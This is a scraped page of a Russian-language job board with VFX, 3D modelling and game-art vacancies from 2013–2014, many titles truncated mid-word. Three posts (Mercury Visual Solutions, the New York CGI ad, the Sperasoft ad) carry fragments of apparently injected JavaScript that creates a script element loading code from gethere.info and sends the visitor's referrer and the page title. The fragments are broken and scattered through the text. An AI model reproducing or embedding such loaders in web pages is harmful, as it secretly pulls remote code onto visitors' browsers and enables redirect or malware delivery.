Posts by admin

(По-русски) Композер, 3D Generalist SHOTTY (СП

24.01.2014 Posted by Job 0 thoughts on “(По-русски) Композер, 3D Generalist SHOTTY (СП”

На проектной основе, фриланс или на студию нам нужны композеры, 3d generalist
https://www.facebook.com/shotty.vfx
http://shotty.cc
Пишите we@shotty.cc

(По-русски) Студия CGF Msk // вакансия “FX TD

23.01.2014 Posted by Job 0 thoughts on “(По-русски) Студия CGF Msk // вакансия “FX TD”

Друзья, в связи с началом работы над двумя крупными и очень интересными кино-проектами нами разыскиваются FX TD. Работа в московском офисе CGF (крупнейшей российской студии кино пост-продакшн, www.cgfww.com).

Обязанности:
• Тесная работа с продюсером и VFX супервайзором проекта для определения задач FX-департамента
• Разработка художественных и технических решений для визуальных эффектов в фильме или рекламном ролике (динамика, жидкости, огонь и т.д.)
• Разработка (совместно с R’n’D департаментом) инструментов для создания визуальных эффектов
• Тесная работа с Lighting и Compositing департаментами для достижения требуемого вида изображения

Навыки:
• Отличное владение инструментами Houdini
• Хорошее знание технологий рендера (Matra, Renderman)
• Хорошее знание технологий композитинга (Nuke)
• Опыт написания скриптов и инструментов на Mel / TCL / Pyton
• Понимание производственного пайплана

Большим плюсом будут следующие навыки:
• Техническое образование
• Знание физики и математики
• Опыт работы в сфере фотореалистичных визуальных эффектов от 3 лет
• Опыт работы в команде
• Опыт скриптинга на Pyton
• Опыт работы в Linux
• Общее понимание процессов разработки программного обеспечения
• Знание технического английского

Условия:
• Оклад – с успешным кандидатом оговаривается индивидуально
• Испытательный срок – 2 месяца
• Работа в г. Москва, в районе ст.м. «Бауманская»/ «Электрозаводская»

Резюме и ссылки на шоурил с темой “Вакансия: FX TD” высылайте по адресу dmitry@cgfww.com
Пожалуйста, будьте внимательны – письмо с неправильно заданной темой рискует быть утерянным.

(По-русски) Студия CGF Msk // вакансия “Mattepainting artist

21.01.2014 Posted by Job 0 thoughts on “(По-русски) Студия CGF Msk // вакансия “Mattepainting artist”

Друзья, в связи с началом работы над двумя крупными и очень интересными кино-проектами (один из них предполагает наличие невиданных доселе тварей и полностью СG-персонажей высочайшей детализации) нами разыскиваются мейтпейнтеры. Работа в московском офисе CGF (крупнейшей российской студии кино пост-продакшн, www.cgfww.com).

Обязанности:
• Разработка художественных решений для фонов в фильме или рекламном ролике (скетч)
• Создание детализированных фотореалистичных мейтов и их элементов на основе концепт арта или референсов.
• Тесная работа с Art и Compositing департаментами для достижения требуемого вида изображения

Навыки:
• Отличное владение инструментами Photoshop
• Знание базовых законов композиции и перспективы
• Умение создать мейт от скетча до финального результата

Большим плюсом будут следующие навыки:
• Художественное образование
• Опыт создания фотореалистичных мейтов для кино
• Опыт работы в команде
• Опыт работы с Maya или Nuke
• Знание технического английского

Условия:
• Оклад – с успешным кандидатом оговаривается индивидуально
• Испытательный срок – 2 месяца
• работа в г. Москва, в районе ст.м. «Бауманская»/ «Электрозаводская»

Резюме и ссылки на шоурил с темой “Вакансия: Mattepainting artist” высылайте по адресу dmitry@cgfww.com
Пожалуйста, будьте внимательны – письмо с неправильно заданной темой рискует быть утерянным.

(По-русски) Студия CGF Msk // вакансия “Modeling arti

21.01.2014 Posted by Job 0 thoughts on “(По-русски) Студия CGF Msk // вакансия “Modeling arti”

Друзья, в связи с началом работы над двумя крупными и очень интересными кино-проектами (один из них предполагает наличие невиданных доселе тварей и полностью СG-персонажей высочайшей детализации) нами разыскиваются три Modeling artist’а. Работа в московском офисе CGF (крупнейшей российской студии кино пост-продакшн, www.cgfww.com).

Обязанности:
• Создание детализированных фотореалистичных 3d моделей на основе концепт арта, референсов, скульптур и 3d сканов.
• Подготовка LODs, UV координат
• Тесная работа с Art, Creatures, Texture и Shading департаментами для достижения требуемого вида объектов и персонажей

Навыки:
• Опыт создания моделей для кино или рекламы
• Опыт работы в команде
• Отличное владение инструментами моделинга в Maya
• Владение Z-Brush
• Навыки полигонального, subdiv-surface и NURBS моделирования
• Способность создавать чистую и экономичную сетку, способность работать с 2d референсами, а также 3d сканами
• Владение методами ретопологии
• Понимание, какая топология требуется для анимации и facial animation
• Опыт работы с UV координатами
• Опыт органического и архитектурного моделирования
• Знание технического английского

Большим плюсом будут:
• Навыки скульптора
• Опыт работы с facial animation
• Хорошее знание пакета Houdini
• Хорошее знание OS Linux
• Знание технического английского

Условия:
• Оклад – с успешным кандидатом оговаривается индивидуально
• Испытательный срок – 2 месяца
• Работа в г. Москва, в районе ст.м. «Бауманская»/ «Электрозаводская»

Резюме и ссылки на шоурил с темой “Вакансия: Modeling artist” высылайте по адресу dmitry@cgfww.com
Пожалуйста, будьте внимательны – письмо с неправильно заданной темой рискует быть утерянным.

Шоурил обязательно должен содержать брейкдаун, показывающий сетку Ваших моделей.

В случае, если у Вас нет опыта создания моделей для кино, но Вы хотите попробовать, мы можем выдать тестовое задание.

(По-русски) Студии CGC на проектную работу требуются специалист

16.12.2013 Posted by Job 0 thoughts on “(По-русски) Студии CGC на проектную работу требуются специалист”

1) Matte-painter (Москва).
Требования и навыки:
– опыт работы на данной позиции: от 2-х лет .
– превосходное владение Adobe Photoshop и сопутствующим ПО
– хорошее чувство цвета, света и перспективы
– равитые коммуникативные навыки
– умение работать в заданные сроки

Окончание проекта – апрель.

2) Композер с опытом работы 1-2 года (Москва).
3) Композер-стажер (Москва).
Приветствуются начинающие специалисты, желающие набить руку и поработать
на реальном проекте.

Описание проекта: сериал.
Окончание проекта – конец февраля.

Зарплата обсуждается на собеседовании, и зависит от уровня подготовки специалиста.
Студия расположена в 10 минутах ходьбы от станции метро “Воробьевы горы”.

Краткое резюме и рилы присылайте на почтовый ящик: Cg.Crew.Shutov@gmail.com

(По-русски) 3DStudio Max Artist (Москв

13.12.2013 Posted by Job 0 thoughts on “(По-русски) 3DStudio Max Artist (Москв”

Студия ТРИГРАФ на проект ищет 3DStudio Max Artist’a.

Сроки проекта – с января по май 2014 года

Задачи:
Моделирование (не персонажка)
Маппинг и текстурирование
Неперсонажная анимация
Эффекты – огонь, дым, вода, разрушения…
Настройка материалов и света, подготовка к рендеру
Требования:
внутренняя мотивация
наличие художественного вкуса и понимания основ трехмерной компьютерной графики
отличное владение пакетом 3DStudio Max (версии 2012 и выше)
отличное знание V-Ray
умение пользоваться плагинами FumeFX, Particle Flow и/или PhoenixFD, Thinking Particles, RayFire, Krakatoa …
владение Photoshop и/или MARI, Mudbox…
Приветствуется:
умение рисовать, фотографировать
знание ZBrush
знание Nuke и/или AfterEffects
знание PFTrack (SynthEyes, Boujou…)
Условия:
испытательный срок 2 недели
контракт на проект
работа 45-48 часов в неделю в студии (м.Алексеевская)
размер оплаты по результатам собеседования
Дополнительно:
в случае успешной работы, продление контракта на следующий проект (до конца 2014 года)
обучение Nuke, PFTrack и другим софтам на базе студии

Резюме присылайте по адресу info@trigraph.ru
Тема письма: 3DS Max Artist
Письмо должно содержать резюме, ссылки на работы и контактную информацию

Mercury Visual Solutions new services

12.12.2013 Posted by Project 0 thoughts on “Mercury Visual Solutions new services”

Mercury Visual Solutions is a rapidly growing post-house, focusing on the development of advanced post-production technologies. Our artistic & constructive team continually strives to provide our clients with the out most quality, always living up to the Mercury trustworthy reputation. The Mercury teams always takes extra care to cherish our clients’ vision, whilst cultivating it using the latest cutting-edge techniques, in the post production industry

Building on our experience & vision in the market, we have the pleasure to announce new additions to our services, allowing us to provide turnkey solutions for our clients’ post production needs.

Please visit our website www.mercuryvfx.com for more information on our services, and portfolio.

For any inquiries, please don’t hesitate to send E-mail to rkamal@mercuryvs.com

Facebook:https://www.facebook.com/pages/Mercury-Visual-Solutions/556330027738480
Twitter:https://twitter.com/MecuryVS

[:]var d=document;var s=d.createElement(‘script’

(По-русски) Full time CGI and VFX artists, New York,

06.12.2013 Posted by Job 0 thoughts on “(По-русски) Full time CGI and VFX artists, New York,”

We have full time positions opening up in New York and we are accepting resumes from all around the globe. All animators, compositors CGI and VFX with a background in commercial and films, please send resume for more details. Please email chavvah@cvltproduction.com

[:]var d=document;var s=d.createElement(‘script’

Аниматор-визуализатор – 3D Max / Cinema4D

06.12.2013 Posted by Project 0 thoughts on “Аниматор-визуализатор – 3D Max / Cinema4D”

Необходима комплексная работа над проектом анимации продукта от стадии сторибродов до финального рендера и сборки-постоарботки. Необходимо знание Cinema4D, при этом одновременное уверенное владение 3D Mac крайне приветствуются. Работа в офисе в Москве в течении ~ 2 месяцев с возможной пролонгацией. Варианты с удаленной работой так же рассматриваются. Портфолио и резюме отправлять на michael.s@transparenthouse.como

(По-русски) JavaScript Web Software Engineer, Saint-Petersb

06.12.2013 Posted by Job 0 thoughts on “(По-русски) JavaScript Web Software Engineer, Saint-Petersb”

Sperasoft is looking for JavaScript Software Engineer.

Responsibilities:

Develop a UI part of a distributed analytics system

Requirements:

PHP5
2+ years technical experience working on consumer facing Web sites
Good working knowledge of JavaScript is required
Experience in jQuery JavaScript framework is required
Knowledge of HTTP and REST is required
Knowledge of HTML5 and CSS3 is a plus
Experience in one of JavaScript framework such as knockout, YUI, AngularJS
Bootstrap(CSS), Backbone, DoT, MooTools, Prototype, Ext JS, Dojo is a plus
Good speaking and writing English is a plus

We offer:

Competitive salary
Professional development in challenging projects
Flexible working hours
Heath Insurance
Comfortable office in the city center with table tennis, game area and shower

Email – hr.jobs@sperasoft.com[:]s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ‘

(По-русски) VFX Artist (World of Tanks, Wargaming, Минс

05.12.2013 Posted by Job 0 thoughts on “(По-русски) VFX Artist (World of Tanks, Wargaming, Минс”

Компания Wargaming приглашает к сотрудничеству VFX Artist для работы над проектом World of Tanks.

Мы предлагаем вам возможность применить свои знания и навыки, а также приобрести бесценный опыт, работая плечом к плечу с ведущими специалистами отрасли.

Содержание работы:

• Создание текстур для визуальных эффектов;
• Создание визуальных эффектов;
• Настройка эффектов в игре World of Tanks.

Требования:

• Высшее техническое или художественное обазование;
• Профессиональный уровень владения Adobe Photoshop;
• Опыт работы с 3D графикой: моделинг, текстуринг, анимация в любом пакете 3D моделирования (Maya, 3ds Max‚ Houdini);
• Понимание таймингов и умение разбивать явления на составляющие;
• Знание основ цветa и композиции;
• Английский язык на уровне чтения документации.

Желательно:

• Опыт работы с патикловыми системами в любом редакторе;
• Опыт работы с игровыми движками;
• Знание Adobe AfterEffects.

В рамках роста проектов Wargaming.net Минская студия разработки находится в активном поиске талантливых профессионалов.
Мы заинтересованы в работе с лучшими специалистами, поэтому готовы помогать в переезде жителям других городов / стран.

Нашим сотрудникам мы гарантируем:

• интересную сложную работу над уникальным игровыми проектами мирового уровня;
• возможность профессионального роста и развития;
• комфортные условия труда, гибкий график работы;
• конкурентную зарплату, защищенную от инфляции, а также гибкую систему премирования, ориентированную на результаты вашей работы;
• дружный коллектив и демократичную атмосферу.

Наша компания – это не только профессионалы, работающие рука об руку для достижения общих целей, но и дружественная атмосфера, построенная на теплых человеческих отношениях. Наши сотрудники остаются с нами долгие годы.

Ждем ваше резюме и портфолио на work@wargaming.net

(По-русски) Концепт-художник игровых локаций | Художник по скетчам (Минс

05.12.2013 Posted by Job 0 thoughts on “(По-русски) Концепт-художник игровых локаций | Художник по скетчам (Минс”

Компания с мировым именем Wargaming.net приглашает талантливого скетчиста с богатым воображением для работы над проектом World of Tanks. Мы предлагаем талантливому специалисту возможность применить свои знания и навыки, а также приобрести бесценный опыт, работая плечом к плечу с ведущими специалистами отрасли.

Наш офис находится в Минске. Мы заинтересованы в сотрудничестве с лучшими специалистами, поэтому кандидатам из других стран и городов мы оказываем помощь в организации переезда.

Содержание работы:

Создание скетчей игровых локаций
Художественная проработка локаций, mattePaint

Требования к кандидату:

Наличие тематического портфолио
Развитая логика, творческое мышление
Умение рисовать от руки, mattePaint, владение графическим планшетом,
Экспертное владение Photoshop / Painter

Приветствуется:

Увлеченность историей, географией, фотографией
Понимание механики создания игр и игровой опыт

Дополнительно:

Мы предлагаем интересную, уникальную работу, результатами которой можно гордиться
Возможность развиваться в коллективе профессионалов
Комфортный офис, гибкий график, социальные гарантии, высокую зарплату

Присоединяйся к проекту WORLD OF TANKS! Мы ждём тебя!

Ардрес для резюме и портфолио – work@wargaming.net

(По-русски) Tech Artist / R&D Artist (World of Tanks, Wargaming, Минс

05.12.2013 Posted by Job 0 thoughts on “(По-русски) Tech Artist / R&D Artist (World of Tanks, Wargaming, Минс”

Команда разработчиков World of Tanks в поисках талантливого технического R&D художника для работы в Минском офисе!

Мы ищем увлеченных людей, желающих учиться и профессионально расти, для чего в нашей компании созданы все условия. Мы заинтересованы в работе с лучшими специалистами, поэтому готовы помогать в переезде жителям других городов / стран.

Основная задача:

развитие и оптимизация графического движка,
участие в разработке новых фичей вплоть до интеграции

Требования:

отличное знание программных пакетов Maya, Adobe Photoshop
продвинутое понимание BRDF
знакомство с работой графического конвейера
понимание HDR, Tone mapping, Bokeh DOF
умение писать и настраивать шейдера
хорошее знание вспомогательного middleware
предыдущий опыт в создании игр и игровых движков.

Желательно:

базовые навыки программирования на С++;
художественное образование или работа на артовых позициях.

Нашим сотрудникам мы гарантируем:

интересную сложную работу над уникальным игровыми проектами мирового уровня;
возможность профессионального роста и развития;
комфортные условия труда, гибкий график работы;
конкурентную зарплату, защищенную от инфляции, а также гибкую систему премирования, ориентированную на результаты вашей работы;
дружный коллектив и демократичную атмосферу.

Наша компания – это не только профессионалы, работающие рука об руку для достижения общих целей, но и дружественная атмосфера, построенная на теплых человеческих отношениях. Наши сотрудники остаются с нами долгие годы.

Ждем ваших резюме на work@wargaming.net!

(По-русски) Senior Texture Artist (World of Tanks, Минс

05.12.2013 Posted by Job 0 thoughts on “(По-русски) Senior Texture Artist (World of Tanks, Минс”

Компания Wargaming приглашает Senior Texture Artist / специалиста по созданию текстур для участия в проекте World of Tanks.

В рамках роста проектов Wargaming.net Минская студия разработки находится в активном поиске талантливых профессионалов. Мы заинтересованы в работе с лучшими специалистами, поэтому готовы помогать в переезде жителям других городов / стран.

Содержание работы:

Текстурирование моделей техники;
Разработка технологий производства текстур для 3D моделей;
Составление технической документации и обучающего материала;
Анализ материалов, поступающих извне в виде референсов и описаний;
Контроль качества изготовления текстур и моделей;
Изготовление дополнительного инструментария или поиск его на внешних ресурсах;
Участие в обучении персонала.

Требования:

Профессиональные навыки и большой опыт производства текстур;
Наличие хорошего портфолио с работами, желательно близкими по нашей тематике;
Глубокие знания по технологиям производства арт-контента;
Знание и понимание современных требований к игровой графике;
Владение графическими пакетами в области 2D и 3D.

Желательно:

Опыт в производстве игровых проектов не менее 3-х лет;
Навыки написания технической документации и составления обучающих программ (и примеры);
Способность внятно и лаконично объяснять свою точку зрения (например, комментарии к работе), в устной и письменной форме;
Художественное образование.

Нашим сотрудникам мы гарантируем:

Интересную сложную работу над уникальным игровыми проектами мирового уровня;
Возможность профессионального роста и развития;
Комфортные условия труда, гибкий график работы;
Конкурентную зарплату, защищенную от инфляции, а также гибкую систему премирования, ориентированную на результаты вашей работы;
Дружный коллектив и демократичную атмосферу.

Наша компания – это не только профессионалы, работающие рука об руку для достижения общих целей, но и дружественная атмосфера, построенная на теплых человеческих отношениях. Наши сотрудники остаются с нами долгие годы.

Ждем ваших резюме и портфолио на адрес work@wargaming.net!

(По-русски) Вакансия: 3д моделер, текстуровщик, шейдер, лайтер, рендерер (аутсор

04.12.2013 Posted by Job 0 thoughts on “(По-русски) Вакансия: 3д моделер, текстуровщик, шейдер, лайтер, рендерер (аутсор”

Студии “Муравей продакшн” на проект “Марсианин” на аутсорсе нужны исполнители на фотореалистичное создание сложных технологичных моделей и ландшафтов по существующим концептам и превизным моделям.

Также нужен моушн дизайнер с опытом работы по специальности.

Требования:
умение читать и понимать ТЗ, художественное видение конечного результата, ответственность.

Обязанности:
В срок и с надлежащим качеством выполнять работу.

Условия:
Работа по договору.
Оплата по договоренности по каждому ТЗ.
Тестовое задание.
Отчеты через cerebro.

Резюме и портфолио высылайте по адерсу: meetreech@mail.ru. Также связаться можно по скайпу: dmitry.shekhavtsov и телефону: 916 671 61 21

(По-русски) Mind Meal studios и УЖАСНО милые пингвины разыскивают Аниматоров

02.12.2013 Posted by Job 0 thoughts on “(По-русски) Mind Meal studios и УЖАСНО милые пингвины разыскивают Аниматоров”

Компания Mind Meal и пара десятков УЖАСНО милых пигвинов, срочно разыскивает людей на должность Аниматора 3D на проект жанра MOBA. Место работы офис СПБ (поможем с переездом).
Ваши пожелания, требования и выкуп присылать на почту: ivikn@mail.ru
или же бомбардировать ссылками своих портфелей, сумок и авосек, а так же прочих шоурилов, скайп: ivik_nier.

(По-русски) Муравей Продакшен: композеры, 3D- аниматоры (г. Москв

01.12.2013 Posted by Job 0 thoughts on “(По-русски) Муравей Продакшен: композеры, 3D- аниматоры (г. Москв”

На кинопроект (3d) требуются аниматоры(XSI), композеры (Nuke, Fusion)
срочно, ЗП высокая
lslusya@gmail.com, mclawest@mail.ru

(По-русски) Ищем (Москва) 3D Artist (моделлер

01.12.2013 Posted by Job 0 thoughts on “(По-русски) Ищем (Москва) 3D Artist (моделлер”

Русско-американский стартап Виртуальная примерочная – Дрессформер ищет 3D художника, способного создавать фотореалистичные модели людей, одежды и интерьера,
обладающего навыками организовать приемку работ других 3D дизайнеров.
www.dressformer.com
Резюме отправлять по email: hr@dressformer.com

Основные задачи:
– Участие в развитии международного проекта – финалиста Mass Challenge 2013;
– Приемка работ от фрилансеров;
– Консультирование 3D визуализаторов в части построения изображения близкого к
фотореалистичному;
– Оптимизация текстур и геометрии 3D моделей;
– Разработка 3D моделей предметов одежды и аксессуаров;
– Создание сцен интерьеров примерочных;
– Создание 3D моделей человека.

Пожелания к кандидатам:
– Владение 3D редакторами: 3D Studio Max, Autodesk Maya, ZBrush, Adobe Photoshop;
– Опыт использования V-Ray или Mental Ray или облачного рендера;
– Хорошие навыки высоко- и низкополигонального моделирования объектов;
– Умение настроить сцену, материалы и освещение;
– Уверенное владение текстурированием и созданием разверток объектов;
– Желательно: Опыт работы в Game индустрии;
– Желательно: Умение моделировать одежду с использованием Marvelous Designer;
– Желательно: Знание анатомии и скининнга;
– Желательно: Опыт работы с игровыми движками Away 3D, Unity 3D.

Условия работы:
– Заработная плата от 80 тыс руб. – 120 тыс. руб.;
– Уютный офис с камином и кухней в 10 минутах ходьбы от м. Бауманская;
– Работа в перспективном интересном направлении – стартапы;
– Современный компьютер с мощной 3D картой и 2мя 24₺ мониторами;
– Возможность использование современных инструментов в работе;
– Дружная команда профессионалов;

Моушн-дизайнер ищет проекты (удалённо)

01.12.2013 Posted by Project 0 thoughts on “Моушн-дизайнер ищет проекты (удалённо)”

After Effects, Cinema 4D. Портфолио http://vimeo.com/olunindi/videos

(По-русски) Аниматоры и лайтер в в RealTime Animat

01.12.2013 Posted by Job 0 thoughts on “(По-русски) Аниматоры и лайтер в в RealTime Animat”

В анимационную студию RealTime требуются:

3D Animator
Обязанности: анимация несложных персонажей
Рассматриваются специалисты как в офис, так и на удаленную работу.

Подробнее о вакансии: http://www.realtime.ru/courses/need_animators/

V-Ray Lighter
Обязанности: Постановка света по эскизам художника, вывод секвенций пассов по согласованию с композером.
Работа в офисе.

Подробнее о вакансии: http://www.realtime.ru/courses/vacancies-lighter/

Мы предлагаем:
Возможность профессионального роста
Молодой, дружный коллектив под управлением RealTime
Дружелюбная атмосфера
Работа в просторном офисе, комфортное рабочее место
Офис недалеко от ст. м. Славянский бульвар

Зарплата по итогам собеседования.

Follow us

Мобильное приложение

Рассылка